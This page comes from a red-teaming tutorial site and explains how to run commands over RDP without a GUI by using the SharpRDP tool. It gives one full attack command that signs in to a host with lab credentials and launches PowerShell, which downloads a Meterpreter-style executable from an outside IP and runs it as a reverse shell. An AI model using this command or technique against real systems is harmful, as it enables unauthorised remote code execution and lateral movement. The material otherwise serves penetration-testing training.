RedTeamGarage (RTG)
  • RTG
    • About RTG
    • About the Author
    • Order Your Copy – Offensive Red Teaming Book
    • Launching Your Career in Ethical Hacking: A Comprehensive Step-by-Step Guide
  • RED TEAMING ZONE
    • Why Offensive Cyber Red Teaming
  • Red Teaming Methodology
  • Recon for Red Teaming- Theory
  • Recon for Red Teaming- Practical
  • OSINT for Red Teaming
  • Reverse Shell 101
    • Windows Reverse Shell
    • Reverse Shell References
  • Lateral Movement 101
  • Offensive PowerShell
  • Offensive C Sharp (C#)
  • Offensive WMI
  • RDP login with NTLM Hash
  • RDP as a Console
  • Bypassing Windows AppLocker
  • Attacking MSSQL
  • Backdoors
  • Pivoting & Tunneling
  • Cloud in Red Teaming
  • Social Engineering in Red Teaming
Powered by GitBook
On this page

RDP as a Console

PreviousRDP login with NTLM HashNextBypassing Windows AppLocker

Last updated 11 months ago

Although RDP is most often associated with the mstsc GUI client, it can also be used as a command-line tool. This technique reduces our overhead while still relying on the RDP protocol, which will often blend in well with typical network traffic.

The RDP application (mstsc.exe) builds upon the terminal services library mstscax.dll. This library exposes interfaces to both scripts and compiled code through COM objects.

SharpRDP is a C# application that uses uses the non-scriptable interfaces exposed by mstscax.dll to perform authentication in the same way as mstsc.exe.

Once authentication is performed, SharpRDP allows us to execute code through SendKeys. In this manner, no GUI access is required and setting up a reverse tunnel is unnecessary.

To demonstrate this, we’ll use the pre-compiled version of SharpRDP. We’ll specify the computername, username, and password along with the command to be executed. In this example, we’ll simply execute a reverse TCP shell using powershell:

sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.69/meter.exe','C:\Windows\Tasks\meter.exe'); C:\Windows\Tasks\meter.exe" username=corp1\dave password=lab
OffensiveTools/SharpRDP.exe at main · sartlabs/OffensiveToolsGitHub
SharpRDP.exe
Logo
RDP taken using SharpRDP